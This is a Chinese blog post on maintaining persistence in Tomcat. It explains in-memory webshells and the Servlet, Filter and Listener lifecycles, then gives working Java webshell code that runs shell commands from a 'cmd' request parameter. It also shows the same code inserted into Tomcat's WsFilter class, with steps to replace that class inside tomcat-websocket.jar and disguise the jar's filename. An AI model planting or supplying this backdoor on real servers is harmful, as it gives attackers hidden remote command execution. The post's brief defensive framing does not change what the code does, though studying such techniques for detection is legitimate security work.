权限维持之Tomcat后门注入

简介: Tomcat后门注入

什么是内存马

内存马又名无文件马,见名知意,指的是无文件落地的webshell;由于传统的webshell需要写入文件,难以逃避防篡改监控。为了与传统的防御手段对抗,衍生出了一种新型的内存WebShell技术,其核心思想用一句话概括,即:利用类加载或Agent机制在JavaEE、框架或中间件的API中动态注册一个可访问的后门。
这种动态注册技术来源非常久远,在安全行业里也一直是不温不火的状态,直到冰蝎的更新将 java agent 类型的内存马重新带入大众视野并且瞬间火爆起来。这种技术的爆红除了概念新颖外,也确实符合时代发展潮流,现在针对 webshell 的查杀和识别已经花样百出,大厂研发的使用分类、概率等等方式训练的机器学习算法模型,基于神经网络的流量层面的特征识别手段,基本上都花式吊打常规文件型 webshell。如果你不会写,不会绕,还仅仅使用网上下载的 jsp ,那肯定是不行的。
内存马搭上了冰蝎和反序列化漏洞的快车,快速占领了人们的视野,成为了主流的 webshell 写入方式。作为 RASP 技术的使用者,自然也要来研究和学习一下内存马的思想、原理、添加方式,并探究较好、较通用的防御和查杀方式。

内存马写入方式

目前安全行业主要讨论的内存马主要分为以下几种方式:

动态注册 servlet/filter/listener(使用 servlet-api 的具体实现)
动态注册 interceptor/controller(使用框架如 spring/struts2)
动态注册使用职责链设计模式的中间件、框架的实现(例如 Tomcat 的 Pipeline & Valve,Grizzly 的 FilterChain & Filter 等等)
使用 java agent 技术写入字节码

Java web三大件

Servlet

Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。

请求的处理过程

客户端发起一个http请求,比如get类型。
Servlet容器接收到请求,根据请求信息,封装成HttpServletRequest和HttpServletResponse对象。
Servlet容器调用HttpServlet的init()方法,init方法只在第一次请求的时候被调用。
Servlet容器调用service()方法。
service()方法根据请求类型,这里是get类型,分别调用doGet或者doPost方法,这里调用doGet方法。
doGet/doPost方法中是我们自己写的业务逻辑。
业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端。
容器关闭时候,会调用destory方法

servlet生命周期

服务器启动时(web.xml中配置load-on-startup=1,默认为0)或者第一次请求该servlet时,就会初始化一个Servlet对象,也就是会执行初始化方法init(ServletConfig conf)。
servlet对象去处理所有客户端请求,在service(ServletRequest req,ServletResponse res)方法中执行
服务器关闭时,销毁这个servlet对象,执行destroy()方法。
由JVM进行垃圾回收。

Filter

filter也称之为过滤器,是对Servlet技术的一个强补充,其主要功能是在HttpServletRequest到达 Servlet 之前,拦截客户的HttpServletRequest ,根据需要检查HttpServletRequest,也可以修改HttpServletRequest 头和数据;在HttpServletResponse到达客户端之前,拦截HttpServletResponse ,根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据。

基本工作原理

1、Filter 程序是一个实现了特殊接口的 Java 类,与 Servlet 类似,也是由 Servlet 容器进行调用和执行的。
2、当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行修改。
3、当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。
4、但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。
5、只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能。
6、如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求。

生命周期

与servlet一样,Filter的创建和销毁也由web容器负责。web 应用程序启动时,web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。
Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。

filter链

当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法,通过判断FilterChain中是否还有filter决定后面是否还调用filter。

Listener

JavaWeb开发中的监听器(Listener)就是Application、Session和Request三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。

ServletContextListener:对Servlet上下文的创建和销毁进行监听;
ServletContextAttributeListener:监听Servlet上下文属性的添加、删除和替换;
HttpSessionListener:对Session的创建和销毁进行监听。Session的销毁有两种情况,一个中Session超时,还有一种是通过调用Session对象的invalidate()方法使session失效。
HttpSessionAttributeListener:对Session对象中属性的添加、删除和替换进行监听;
ServletRequestListener:对请求对象的初始化和销毁进行监听;
ServletRequestAttributeListener:对请求对象属性的添加、删除和替换进行监听。

用途
可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。

内存马种类

Filter 内存马

Filter 我们称之为过滤器,是 Java 中最常见也最实用的技术之一,通常被用来处理静态 web 资源、访问权限控制、记录日志等附加功能等等。一次请求进入到服务器后,将先由 Filter 对用户请求进行预处理,再交给 Servlet。
通常情况下,Filter 配置在配置文件和注解中,在其他代码中如果想要完成注册,主要有以下几种方式:

使用 ServletContext 的 addFilter/createFilter 方法注册;
使用 ServletContextListener 的 contextInitialized 方法在服务器启动时注册;
使用 ServletContainerInitializer 的 onStartup 方法在初始化时注册。

Servlet 内存马

Servlet 是 Server Applet(服务器端小程序)的缩写,用来读取客户端发送的数据,处理并返回结果。也是最常见的 Java 技术之一。

Listener 内存马

Servlet 和 Filter 是常接触的两个技术。
Listener 可以译为监听器,监听器用来监听对象或者流程的创建与销毁,通过 Listener,可以自动触发一些操作,因此依靠它也可以完成内存马的实现。

Spring Controller 内存马

在动态注册 Servlet 时,注册了两个东西,一个是 Servlet 的本身实现,一个 Servlet 与 URL 的映射 Servlet-Mapping,在注册 Controller 时,也同样需要注册两个东西,一个是 Controller,一个是 RequestMapping 映射。
所谓 Spring Controller 的动态注册,就是对 RequestMappingHandlerMapping 注入的过程

Spring Interceptor 内存马

这里的描述的 Intercepor 是指 Spring 中的拦截器,它是 Spring 使用 AOP 对 Filter 思想的令一种实现,在其他框架如 Struts2 中也有拦截器思想的相关实现。
Intercepor 主要是针对 Controller 进行拦截。

Tomcat Valve 内存马

GlassFish Grizzly Filter 内存马

Java Agent 内存马

Tomcat 特殊内存马

Tomcat启动时会加载lib下的依赖jar,如果黑客通过上传漏洞或者反序列化漏洞在这个目录添加一个jar,重启后,某些情况下这个jar会被当成正常库来加载,在一定条件下造成RCE

将恶意代码注入到Tomcat默认存在的Filter中

640.png

演示

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
@WebFilter("/test")
public class Filter implements javax.servlet.Filter {
    public void destroy() {
    }
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
        // 命令执行
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.equals("")) {
            Process process = Runtime.getRuntime().exec(cmd);
            StringBuilder outStr = new StringBuilder();
            response.getWriter().print("<pre>");
            java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream());
            java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
            String s = null;
            while ((s = stdInput.readLine()) != null) {
                outStr.append(s + "\n");
            }
            response.getWriter().print(outStr.toString());
            response.getWriter().print("</pre>");
        }
    }
    public void init(FilterConfig config) throws ServletException {
    }
}

构造

在目标 Tomcat/lib 下找到 tomcat-websocket.jar

640.png

找到WsFilter的代码,在doFilter中插入一些代码

640.png

package org.apache.tomcat.websocket.server;
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
 * Handles the initial HTTP connection for WebSocket connections.
 */
public class WsFilter implements Filter {
    private WsServerContainer sc;
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        sc = (WsServerContainer) filterConfig.getServletContext().getAttribute(
                Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE);
    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
                         FilterChain chain) throws IOException, ServletException {
        // 不改变原有逻辑,在这里插入代码
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.equals("")) {
            Process process = Runtime.getRuntime().exec(cmd);
            StringBuilder outStr = new StringBuilder();
            response.getWriter().print("<pre>");
            java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream());
            java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
            String s = null;
            while ((s = stdInput.readLine()) != null) {
                outStr.append(s + "\n");
            }
            response.getWriter().print(outStr.toString());
            response.getWriter().print("</pre>");
        }
        // This filter only needs to handle WebSocket upgrade requests
        if (!sc.areEndpointsRegistered() ||
                !UpgradeUtil.isWebSocketUpgradeRequest(request, response)) {
            chain.doFilter(request, response);
            return;
        }
        // HTTP request with an upgrade header for WebSocket present
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        // Check to see if this WebSocket implementation has a matching mapping
        String path;
        String pathInfo = req.getPathInfo();
        if (pathInfo == null) {
            path = req.getServletPath();
        } else {
            path = req.getServletPath() + pathInfo;
        }
        WsMappingResult mappingResult = sc.findMapping(path);
        if (mappingResult == null) {
            // No endpoint registered for the requested path. Let the
            // application handle it (it might redirect or forward for example)
            chain.doFilter(request, response);
            return;
        }
        UpgradeUtil.doUpgrade(sc, req, resp, mappingResult.getConfig(),
                mappingResult.getPathParams());
    }
    @Override
    public void destroy() {
        // NO-OP
    }
}

编译WsFilter.java生成WsFilter.class字节码文件

然后使用手段把tomcat-websocket.jar里的WsFilter.class替换了

640.png

640.png

缺陷

依赖库在Tomcat运行的时候被占用不可修改,所以要停下Tomcat服务,然后才能替换依赖库

(其实服务端的Tomcat重启概率不算低,很多情况都会重启)

第二种:目标服务器下载一个tomcat ,更改端口并启动

隐藏方法

tomcat-websocket-9.0.50.jar
tomcat-websocket .jar






相关文章
|
JSON 供应链 安全
Apache Tomcat 存在 JsonErrorReportValve 注入漏洞(CVE-2022-45143)
Apache Tomcat 存在 JsonErrorReportValve 注入漏洞(CVE-2022-45143)
Apache Tomcat 存在 JsonErrorReportValve 注入漏洞(CVE-2022-45143)
|
安全 应用服务中间件 Apache
解决访问tomcat下文件夹(如temp)显示有权限【在tomcat目录下创建文件需要管理员权限】的问题
解决访问tomcat下文件夹(如temp)显示有权限【在tomcat目录下创建文件需要管理员权限】的问题
解决访问tomcat下文件夹(如temp)显示有权限【在tomcat目录下创建文件需要管理员权限】的问题
gdy
|
安全 Java 应用服务中间件
【出错记录】Tomcat非root用户启动无法拥有权限读写文件
简单记录下,如有必要,将深入补充: 一、非root用户运行Tomcat及原因 由于项目中,为了安全需要,Tomcat将禁止以root形式启动,原因很简单,举个例子,一旦有人恶意将jsp文件透过某个别的漏洞传到你的服务器中,那么你的程序运行过程中,将会远端被别人恶意执行代码,轻则服务器被黑,重则通过这台跳板进入你的后台,病毒式的入侵到内网的其他机器(例如大量的Redis以及MongoDB置于内网时是不设置密码的),所以以非root的方式启动Tomcat对于商用的环境下,是必须的。
gdy
2575 0
|
应用服务中间件 数据安全/隐私保护 Apache
|
Linux 应用服务中间件
|
监控 数据安全/隐私保护 应用服务中间件
Tomcat7配置管理员帐号密码及权限
  在使用tomcat时,若要使用管理监控功能,需要用用户名密码登录使用,而tomcat7默认是将用户是注释的,所以需要配置后使用, 配置文件为根目录下的/conf/tomcat-users.xml文件。
1157 0
|
Java Linux 应用服务中间件
linux 系统下配置tomcat,并给tomcat赋予最高操作权限,启动tomcat和关闭tomcat
配置tomcat服器 sudo chmod -R 777 * 给某个文件下所有文件赋予最高的读写权限 红颜色的字是路径,蓝颜色字是命令 (1)官方网站下载tomcat压缩包。apache-tomcat-7.0.57.tar.gz (2)进入你指定的tomact目录下,将压缩包放入该目录下,利用命令解压该压缩包。
2736 0
|
2月前
|
安全 应用服务中间件 网络安全
Tomcat如何配置PFX证书?
【10月更文挑战第2天】Tomcat如何配置PFX证书?
220 7
|
2月前
|
存储 算法 应用服务中间件
Tomcat如何配置JKS证书?
【10月更文挑战第2天】Tomcat如何配置JKS证书?
317 4